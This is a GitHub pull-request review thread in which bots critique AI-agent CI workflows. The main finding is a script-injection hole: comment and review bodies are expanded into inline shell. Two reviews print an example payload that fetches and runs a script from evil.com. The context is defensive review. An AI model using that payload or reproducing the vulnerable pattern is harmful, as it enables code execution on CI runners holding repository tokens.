same guarded condition as the /oc and /opencode command checks for both
pull_request_review_comment and pull_request_review, keeping the existing logic
in the same branches.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 9c462bc2-223a-43c4-98fc-4433129c1b8e

📥 Commits

Reviewing files that changed from the base of the PR and between 58219c1 and 5687075.

📒 Files selected for processing (5)
  • .github/workflows/opencode-implement.yaml
  • .github/workflows/opencode-review.yaml
  • .github/workflows/opencode-triage-issue.yaml
  • .github/workflows/opencode-triage-pr.yaml
  • .github/workflows/opencode-triage.yaml

Comment on lines +13 to +28
if: |
github.event.comment.user.login != 'github-actions[bot]' &&
github.event.comment.user.login != 'opencode-agent[bot]' &&
github.event.comment.user.login != 'coderabbitai[bot]' &&
contains(fromJSON('["OWNER", "MEMBER", "COLLABORATOR"]'), github.event.comment.author_association) &&
github.event.issue.state == 'open' &&
(
(
contains(github.event.comment.body, ' /oc') ||
startsWith(github.event.comment.body, '/oc') ||
contains(github.event.comment.body, ' /opencode') ||
startsWith(github.event.comment.body, '/opencode')
) &&
github.event.comment.body.length > 10
) ||
contains(github.event.issue.labels.*.name, 'opencode:awaiting-response')

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

git ls-files .github/workflows/opencode-triage-issue.yaml
echo '---'
cat -n .github/workflows/opencode-triage-issue.yaml | sed -n '1,220p'

Repository: dianlight/hassio-addons

Length of output: 7791


Wrap the label branch in the guard block

contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') sits outside the && group, so any comment on a labeled issue can trigger this job even from excluded bots or non-collaborators. Keep the label path inside the same guard block so the actor and open-state checks always apply.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/opencode-triage-issue.yaml around lines 13 - 28, The
workflow condition currently lets the label-based path bypass the existing actor
and open-issue guards, so any comment on a labeled issue can trigger the job.
Update the `if` expression in `opencode-triage-issue` so
`contains(github.event.issue.labels.*.name, 'opencode:awaiting-response')` is
grouped inside the same top-level `&&` guard block as the `/oc` and `/opencode`
checks, ensuring the bot/user and open-state restrictions always apply.

Comment on lines +44 to +47
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
body=$(echo '${{ toJSON(github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body=''

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win

Script injection: untrusted comment body embedded in an inline script.

toJSON(github.event.comment.body) is interpolated inside single quotes; a body containing a single quote (e.g. '; malicious #) breaks out of the string and executes arbitrary shell. Pass the body through an environment variable instead of template-expanding it into the script.

🔒 Proposed fix
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          COMMENT_BODY: ${{ github.event.comment.body }}
         run: |
-          body=$(echo '${{ toJSON(github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body=''
+          body="$COMMENT_BODY"
           if echo "$body" | grep -qiE '^(approved|lgtm|go ahead|:\+1:)' ; then
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
body=$(echo '${{ toJSON(github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body=''
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
COMMENT_BODY: ${{ github.event.comment.body }}
run: |
body="$COMMENT_BODY"
if echo "$body" | grep -qiE '^(approved|lgtm|go ahead|:\+1:)' ; then
🧰 Tools
🪛 actionlint (1.7.12)

[error] 46-46: "github.event.comment.body" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details

(expression)

🪛 zizmor (1.26.1)

[error] 47-47: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/opencode-triage-issue.yaml around lines 44 - 47, The
inline shell in the workflow is vulnerable because github.event.comment.body is
being template-expanded directly into the script in the step that sets body.
Move the comment body into an environment variable for that step and read it
from the script instead of embedding it inside single quotes; update the run
block that uses python3 so it parses the env value safely and avoids shell
interpolation.

Source: Linters/SAST tools

Comment thread .github/workflows/opencode-triage-pr.yaml Outdated
Comment on lines +67 to +78
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
approved="false"

# An "Approve" review verdict is always approval
if [ "${{ github.event_name }}" = "pull_request_review" ] && [ "${{ github.event.review.state }}" = "approved" ]; then
approved="true"
fi

# Check the body text for approval keywords
body=$(echo '${{ toJSON(github.event.review.body || github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body=''

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win

Script injection: untrusted review/comment body in an inline script.

Same issue as the issue triage workflow — toJSON(review.body || comment.body) is wrapped in single quotes and can break out. Pass both bodies via environment variables.

🔒 Proposed fix
         env:
           GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          REVIEW_BODY: ${{ github.event.review.body }}
+          COMMENT_BODY: ${{ github.event.comment.body }}
         run: |
           approved="false"
@@
-          body=$(echo '${{ toJSON(github.event.review.body || github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body=''
+          body="${REVIEW_BODY:-$COMMENT_BODY}"
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
approved="false"
# An "Approve" review verdict is always approval
if [ "${{ github.event_name }}" = "pull_request_review" ] && [ "${{ github.event.review.state }}" = "approved" ]; then
approved="true"
fi
# Check the body text for approval keywords
body=$(echo '${{ toJSON(github.event.review.body || github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body=''
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
REVIEW_BODY: ${{ github.event.review.body }}
COMMENT_BODY: ${{ github.event.comment.body }}
run: |
approved="false"
# An "Approve" review verdict is always approval
if [ "${{ github.event_name }}" = "pull_request_review" ] && [ "${{ github.event.review.state }}" = "approved" ]; then
approved="true"
fi
# Check the body text for approval keywords
body="${REVIEW_BODY:-$COMMENT_BODY}"
🧰 Tools
🪛 actionlint (1.7.12)

[error] 69-69: "github.event.review.body" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details

(expression)


[error] 69-69: "github.event.comment.body" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details

(expression)

🪛 zizmor (1.26.1)

[error] 73-73: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)


[error] 78-78: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)


[error] 78-78: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/opencode-triage-pr.yaml around lines 67 - 78, The inline
script in the triage workflow is still using untrusted review/comment text
directly in shell command substitution, which allows quote-breaking injection.
Update the step that computes `body` in the workflow to pass
`github.event.review.body` and `github.event.comment.body` through environment
variables instead of embedding `toJSON(...)` inside the script. Keep the logic
in the same run block, but read the safe env values there and preserve the
existing approval detection in the workflow step.

Source: Linters/SAST tools

@dianlight dianlight force-pushed the repo-sync/opencode-actions/default branch 2 times, most recently from 967dfae to 9d79e55 Compare July 7, 2026 08:29

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Verdict: REQUEST_CHANGES · 🚨 3 · 🛠️ 6 · 💡 2

⚠️ Could not resolve 5 threads (FORBIDDEN — token lacks GraphQL mutation scope). 3 are fixed (concurrency in review.yaml, triage.yaml deprecation resolves its bot/token threads).

Most critical: two script injection vulnerabilities in the quick-approval shell steps (toJSON of untrusted comment/review body inline) and a missing contents: read permission in review.yaml that will break checkout. No ⚡ PERFORMANCE issues.

env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
body=$(echo '${{ toJSON(github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body=''

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🚨 [CRITICAL] Script injection via inline template expansion

${{ toJSON(github.event.comment.body) }} is expanded directly inside single quotes in the shell script. A comment body containing ' (e.g., '; curl https://evil.com/s.sh | bash #) breaks out of the quoted string and executes arbitrary shell. The toJSON call does not escape single quotes for shell context — it produces valid JSON, but JSON allows unescaped ' characters.

Pass the untrusted value through an env var instead:

Suggested change
body=$(echo '${{ toJSON(github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body=''
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
COMMENT_BODY: ${{ github.event.comment.body }}
run: |
body="$COMMENT_BODY"
if echo "$body" | grep -qiE '^(approved|lgtm|go ahead|:\+1:)' ; then

fi

# Check the body text for approval keywords
body=$(echo '${{ toJSON(github.event.review.body || github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body=''

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🚨 [CRITICAL] Script injection via inline template expansion

Same pattern as opencode-triage-issue.yaml. ${{ toJSON(github.event.review.body || github.event.comment.body) }} is interpolated into single quotes. An attacker-controlled review/comment body containing ' breaks out.

Pass both bodies through env vars:

Suggested change
body=$(echo '${{ toJSON(github.event.review.body || github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body=''
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
REVIEW_BODY: ${{ github.event.review.body }}
COMMENT_BODY: ${{ github.event.comment.body }}
run: |
approved="false"
if [ "${{ github.event_name }}" = "pull_request_review" ] && [ "${{ github.event.review.state }}" = "approved" ]; then
approved="true"
fi
body="${REVIEW_BODY:-$COMMENT_BODY}"

Comment thread .github/workflows/opencode-review.yaml Outdated
github.event.pull_request.changed_files < 50 &&
github.event.pull_request.additions < 3000
runs-on: ubuntu-latest
permissions:

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🚨 [CRITICAL] Missing contents: read permission breaks checkout

The permissions: block at line 19 lists id-token: write and pull-requests: write but omits contents. In GitHub Actions, setting permissions: overrides all defaults to none. Without contents: read, actions/checkout@v7 on line 23 cannot clone the repository, causing the workflow to fail on every run.

Note: removing contents: write (as suggested by prior reviews) was correct, but contents: read is required for checkout.

Suggested change
permissions:
permissions:
id-token: write
contents: read
pull-requests: write


triage:
if: |
github.event.comment.user.login != 'github-actions[bot]' &&

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Hardcoded bot usernames

Lines 25-27 hardcode three bot logins (github-actions[bot], opencode-agent[bot], coderabbitai[bot]). This is brittle — any new or renamed collaborator bot requires a workflow edit. The author_association check on line 28 already restricts to OWNER/MEMBER/COLLABORATOR, which covers the security concern. Consider using github.event.comment.user.type == 'Bot' or a YAML anchor for the allowlist.

Same pattern exists in opencode-triage-pr.yaml lines 18-20 and 36-38.

github.event.comment.user.login != 'coderabbitai[bot]' &&
contains(fromJSON('["OWNER", "MEMBER", "COLLABORATOR"]'), github.event.comment.author_association) &&
github.event.issue.state == 'open' &&
(

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Label check bypasses actor/state guards

The || at line 38 means contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') on line 39 is OR'd with the entire preceding guard block. Due to operator precedence (&& binds tighter than ||), any comment on an issue with that label triggers the job — even from github-actions[bot] or on a closed issue. Since only users with write perms can set labels, this is a robustness concern rather than a vulnerability, but it should be grouped inside the guard:

      (
        (
          (
            contains(...) ||
            startsWith(...)
          ) &&
          length > 10
        ) ||
        contains(github.event.issue.labels.*.name, 'opencode:awaiting-response')
      )

Same issue exists in opencode-triage-pr.yaml lines 32 and 50.

github.event.comment.body.length > 10
) ||
contains(github.event.issue.labels.*.name, 'opencode:awaiting-response')
runs-on: ubuntu-latest

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Missing timeout-minutes on triage job

The job defaults to GitHub's 360-minute maximum. An LLM agent could hang or loop, wasting runner minutes. Add a 15-minute timeout:

Suggested change
runs-on: ubuntu-latest
runs-on: ubuntu-latest
timeout-minutes: 15

Same issue in opencode-triage-pr.yaml:52 and opencode-implement.yaml:35.

!contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response') &&
(github.event.issue.state == 'open' || github.event.pull_request.state == 'open')
)
runs-on: ubuntu-latest

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Missing timeout-minutes on implement job

The implement job writes code and may run long. Add a 60-minute timeout:

Suggested change
runs-on: ubuntu-latest
runs-on: ubuntu-latest
timeout-minutes: 60


jobs:
triage:
if: |

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 [NITPICK] Complex 37-line if condition

The condition spans lines 15-51 with deeply nested || / && groups. The pull_request_review_comment and pull_request_review branches share near-identical sub-expressions (bot checks, author association, trigger word detection). Consider extracting a YAML anchor or using github.event_name branching outside the core guard logic to reduce duplication and improve readability.


jobs:
implement:
if: >-

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 [NITPICK] Complex mixed-context if condition

Lines 25-34 mix issue and pull_request property accesses with null-safe expressions. While functionally correct (GitHub Actions evaluates null properties as empty), restructuring with explicit github.event_name branching makes the intent clearer:

Suggested change
if: >-
if: >-
github.event.label.name == 'opencode:approved-for-implementation' &&
(github.event.sender.login == 'opencode-agent[bot]' || github.event.sender.login == 'github-actions[bot]' || github.event.sender.login == 'dianlight') &&
(
(
github.event_name == 'issues' &&
!contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') &&
github.event.issue.state == 'open'
) || (
github.event_name == 'pull_request' &&
!contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response') &&
github.event.pull_request.state == 'open'
)
)

@github-actions

github-actions Bot commented Jul 7, 2026

Copy link
Copy Markdown

Review submitted as REQUEST_CHANGES with 9 inline findings across 4 files:

File Finding
opencode-triage-issue.yaml:58 🚨 Script injection via toJSON in inline shell
opencode-triage-pr.yaml:78 🚨 Script injection via toJSON in inline shell
opencode-review.yaml:19 🚨 Missing contents:read breaks checkout
opencode-triage-issue.yaml:25 🛠️ Hardcoded bot usernames
opencode-triage-issue.yaml:30 🛠️ Label check bypasses actor/state guards
opencode-triage-issue.yaml:40 🛠️ Missing timeout-minutes
opencode-implement.yaml:35 🛠️ Missing timeout-minutes
opencode-triage-pr.yaml:15 💡 Complex 37-line condition
opencode-implement.yaml:25 💡 Complex mixed-context condition

⚠️ Could not resolve 5 threads (token lacks GraphQL mutation scope).

New%20session%20-%202026-07-07T08%3A28%3A25.354Z
opencode session  |  github run

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Verdict: REQUEST_CHANGES

🚨 3 · 🛠️ 7 · 💡 2

⚠️ Could not resolve 5 threads — token lacks GraphQL mutation scope (5 threads are fixed: concurrency block added to review.yaml, triage.yaml deprecation resolves its bot/token concerns).

The most critical finding is the script injection vulnerability in both triage workflows: untrusted comment/review body text is template-expanded directly into inline shell scripts via ${{ toJSON(...) }} inside single quotes, allowing arbitrary command execution. The second critical issue is the missing contents: read permission in opencode-review.yaml, which will cause actions/checkout to fail on every run.

No ⚡ PERFORMANCE issues found. The workflows are otherwise well-structured with proper security practices (SHA-pinned actions, author association checks).

env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
body=$(echo '${{ toJSON(github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body=''

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🚨 [CRITICAL] Script injection via inline template expansion

${{ toJSON(github.event.comment.body) }} is expanded directly inside single quotes in the shell script. A comment body containing ' (e.g., '; curl https://evil.com/s.sh | bash #) breaks out of the quoted string and executes arbitrary shell. The toJSON call does not escape single quotes for shell context — JSON allows unescaped ' characters.

Pass the untrusted value through an env var instead:

Suggested change
body=$(echo '${{ toJSON(github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body=''
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
COMMENT_BODY: ${{ github.event.comment.body }}
run: |
body="$COMMENT_BODY"
if echo "$body" | grep -qiE '^(approved|lgtm|go ahead|:\+1:)' ; then

fi

# Check the body text for approval keywords
body=$(echo '${{ toJSON(github.event.review.body || github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body=''

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🚨 [CRITICAL] Script injection via inline template expansion

Same pattern as opencode-triage-issue.yaml. ${{ toJSON(github.event.review.body || github.event.comment.body) }} is interpolated into single quotes. An attacker-controlled review/comment body containing ' breaks out.

Pass both bodies through env vars:

Suggested change
body=$(echo '${{ toJSON(github.event.review.body || github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body=''
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
REVIEW_BODY: ${{ github.event.review.body }}
COMMENT_BODY: ${{ github.event.comment.body }}
run: |
approved="false"
if [ "${{ github.event_name }}" = "pull_request_review" ] && [ "${{ github.event.review.state }}" = "approved" ]; then
approved="true"
fi
body="${REVIEW_BODY:-$COMMENT_BODY}"

Comment thread .github/workflows/opencode-review.yaml Outdated
github.event.pull_request.changed_files < 50 &&
github.event.pull_request.additions < 3000
runs-on: ubuntu-latest
permissions:

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🚨 [CRITICAL] Missing contents: read permission breaks checkout

The permissions: block at line 19 lists id-token: write and pull-requests: write but omits contents. In GitHub Actions, setting permissions: overrides all defaults to none. Without contents: read, actions/checkout@v7 on line 23 cannot clone the repository, causing the workflow to fail on every run.

Suggested change
permissions:
permissions:
id-token: write
contents: read
pull-requests: write

!github.event.pull_request.draft &&
github.event.pull_request.changed_files < 50 &&
github.event.pull_request.additions < 3000
runs-on: ubuntu-latest

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Missing timeout-minutes on review job

The job defaults to GitHub's 360-minute maximum. A stalled AI action could waste CI minutes for up to 6 hours. Add a 30-minute timeout.

Suggested change
runs-on: ubuntu-latest
runs-on: ubuntu-latest
timeout-minutes: 30

!contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response') &&
(github.event.issue.state == 'open' || github.event.pull_request.state == 'open')
)
runs-on: ubuntu-latest

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Missing timeout-minutes on implement job

The implement job writes code and may run long. Add a 60-minute timeout to avoid stalling the runner.

Suggested change
runs-on: ubuntu-latest
runs-on: ubuntu-latest
timeout-minutes: 60

if: |
(
github.event_name == 'pull_request_review_comment' &&
github.event.comment.user.login != 'github-actions[bot]' &&

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Hardcoded bot usernames

Lines 18-20 (and 36-38) hardcode specific bot logins. Same concern as opencode-triage-issue.yaml. Prefer github.event.comment.user.type == 'Bot' (and github.event.review.user.type == 'Bot' for lines 36-38).

) &&
github.event.comment.body.length > 10
) ||
contains(github.event.issue.labels.*.name, 'opencode:awaiting-response')

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Label check bypasses actor/state guards

The || on line 38 means contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') is OR'd with the entire preceding guard block. Due to operator precedence (&& binds tighter than ||), any comment on a labeled issue triggers the job — even from github-actions[bot] or on a closed issue. While label setting is privileged, this is a robustness concern. Group it inside the guard:

      (
        (
          (
            contains(...) || startsWith(...)
          ) &&
          length > 10
        ) ||
        contains(github.event.issue.labels.*.name, 'opencode:awaiting-response')
      )

Same issue exists in opencode-triage-pr.yaml lines 32 and 50.

) &&
github.event.comment.body.length > 10
) ||
contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response')

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Label check bypasses actor/state guards

Same pattern as opencode-triage-issue.yaml. The contains(...'opencode:awaiting-response') on lines 32 and 50 sits outside the actor/association/state guards in both event branches. Group the command and label alternatives together under the same condition.


jobs:
triage:
if: |

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 [NITPICK] Complex 37-line if condition

The condition spans lines 15-51 with deeply nested || / && groups. The pull_request_review_comment and pull_request_review branches share near-identical sub-expressions (bot checks, author association, trigger word detection). Consider extracting a YAML anchor or using github.event_name branching outside the core guard logic to reduce duplication and improve readability.


jobs:
implement:
if: >-

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 [NITPICK] Complex mixed-context if condition

Lines 25-34 mix issue and pull_request property accesses with null-safe expressions. While functionally correct (GitHub Actions evaluates null properties as empty), restructuring with explicit github.event_name branching makes the intent clearer:

Suggested change
if: >-
if: >-
github.event.label.name == 'opencode:approved-for-implementation' &&
(github.event.sender.login == 'opencode-agent[bot]' || github.event.sender.login == 'github-actions[bot]' || github.event.sender.login == 'dianlight') &&
(
(
github.event_name == 'issues' &&
!contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') &&
github.event.issue.state == 'open'
) || (
github.event_name == 'pull_request' &&
!contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response') &&
github.event.pull_request.state == 'open'
)
)

@github-actions

github-actions Bot commented Jul 7, 2026

Copy link
Copy Markdown

Review submitted as REQUEST_CHANGES with 12 inline findings across 4 files:

Category Count Key issues
🚨 CRITICAL 3 Script injection in both triage workflows (inline ${{ toJSON(...) }} in shell), missing contents: read in review.yaml
🛠️ QUALITY 7 Missing timeout-minutes on 4 jobs, hardcoded bot usernames in both triage files, label guard bypasses
💡 NITPICK 2 Complex if conditions in implement.yaml and triage-pr.yaml

⚠️ Could not resolve 5 threads (FORBIDDEN — token lacks GraphQL mutation scope). The threads are visibly fixed (concurrency block added, triage.yaml deprecation resolves old concerns).

New%20session%20-%202026-07-07T08%3A30%3A12.038Z
opencode session  |  github run

@dianlight dianlight force-pushed the repo-sync/opencode-actions/default branch from 9d79e55 to 6ce655b Compare July 11, 2026 17:47

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 9

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/scripts/auth.sh:
- Around line 26-45: Update the command detection in the auth parser so the
initial `/oc` match requires end-of-input or whitespace, preventing prefixes
such as `/octopus` from setting IS_OC. Apply the same boundary requirement to
every workflow trigger gate that checks for the `/oc` command, while preserving
valid `/oc` subcommands and arguments.

In @.github/workflows/opencode-issue-handler.yml:
- Around line 247-258: Make the feature-branch and pull-request flow in the
workflow’s Process 5 idempotent: before creating the branch, check whether the
computed BRANCH already exists remotely and check whether an open PR already
targets it. Reuse or check out the existing branch instead of unconditionally
running checkout -b, and skip creation/push steps when appropriate. If an
existing PR is found, resume from it or report its result rather than creating a
duplicate; apply the same retry-safe behavior across the related steps through
the PR creation block.

In @.github/workflows/opencode-pr-comment.yml:
- Around line 81-89: Add a timeout-minutes setting to the process-2, process-3,
and process-6 workflow jobs, matching the timeout value used by the bounded
issue-handler jobs. Keep the existing job conditions, dependencies, permissions,
and steps unchanged.
- Around line 215-218: Update the workflow permissions for Process 3 so its
declared behavior is consistent: grant contents: write alongside id-token and
pull-requests permissions if it must commit and push, or revise Process 3 to be
explicitly read-only while retaining contents: read.
- Around line 116-126: The issue_comment branch incorrectly infers a bot thread
from the immediately preceding timeline comment, potentially routing unrelated
top-level comments into Process 2. Remove the LAST_COMMENT_AUTHOR-based
IS_BOT_THREAD logic from the issue_comment handling, and only allow
write-capable routing for pull_request_review_comment events or issue_comment
entries containing an explicit /oc command.
- Around line 308-311: Update the Process 6 workflow references to use
github.event.issue.number when looking up the pull request, and change the
permissions block to grant contents: write instead of read so the git push step
succeeds. Preserve the existing pull-requests: write and id-token permissions.
- Around line 175-181: Update both reply blocks in the workflow to use the
review-comment reply route with the pull request number and root review comment
ID, rather than treating the issue comment ID as the pull request number. For
issue_comment events, use the issue-comment API endpoint and the appropriate
issue comment identifier instead of the review-comment replies endpoint.

In @.github/workflows/opencode-pr-review.yml:
- Around line 15-32: Add an explicit timeout-minutes setting to the review job
alongside runs-on, using the timeout value established by the issue workflows.
Keep the existing job condition, permissions, and steps unchanged.
- Around line 24-26: Replace the literal substring exclusions in the workflow
trigger condition with a check against the parsed subcommand output from
steps.parse.outputs.SUBCOMMAND. Ensure task and implement commands are excluded
based on parsed command tokens, including variable whitespace, while review text
containing those phrases does not affect routing.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 3b6bf58b-eac5-4d64-a5e2-d0f10e45fd43

📥 Commits

Reviewing files that changed from the base of the PR and between 5687075 and 6ce655b.

📒 Files selected for processing (10)
  • .github/scripts/auth.sh
  • .github/workflows/opencode-implement.yaml
  • .github/workflows/opencode-issue-handler.yml
  • .github/workflows/opencode-pr-comment.yml
  • .github/workflows/opencode-pr-review.yml
  • .github/workflows/opencode-review.yaml
  • .github/workflows/opencode-triage-issue.yaml
  • .github/workflows/opencode-triage-pr.yaml
  • .github/workflows/opencode-triage.yaml
  • .github/workflows/opencode.yml
🚧 Files skipped from review as they are similar to previous changes (1)
  • .github/workflows/opencode-triage.yaml

Comment thread .github/scripts/auth.sh
Comment on lines +26 to +45
if [[ "$TRIMMED" =~ ^/oc ]]; then
IS_OC="true"

if [[ "$TRIMMED" =~ ^/oc[[:space:]]+implement[[:space:]]+(.*) ]]; then
SUBCOMMAND="implement"
TASK_ARGS="${BASH_REMATCH[1]}"
elif [[ "$TRIMMED" =~ ^/oc[[:space:]]+task[[:space:]]+(.*) ]]; then
SUBCOMMAND="task"
TASK_ARGS="${BASH_REMATCH[1]}"
elif [[ "$TRIMMED" =~ ^/oc[[:space:]]+task[[:space:]]*$ ]]; then
SUBCOMMAND="task"
elif [[ "$TRIMMED" =~ ^/oc[[:space:]]+review($|[[:space:]]) ]]; then
SUBCOMMAND="review"
elif [[ "$TRIMMED" =~ ^/oc[[:space:]]*$ ]] || [[ "$TRIMMED" =~ ^/oc$ ]]; then
SUBCOMMAND="discuss"
else
# /oc with unrecognized subcommand — default to discuss
SUBCOMMAND="discuss"
fi
fi

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

Require a boundary after /oc.

^/oc also accepts /octopus, /occ, etc. Because workflow gates use similarly broad prefix checks, these comments can launch Opencode unexpectedly. Require end-of-input or whitespace here and in every workflow trigger gate.

Proposed parser fix
-if [[ "$TRIMMED" =~ ^/oc ]]; then
+if [[ "$TRIMMED" =~ ^/oc($|[[:space:]]) ]]; then
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
if [[ "$TRIMMED" =~ ^/oc ]]; then
IS_OC="true"
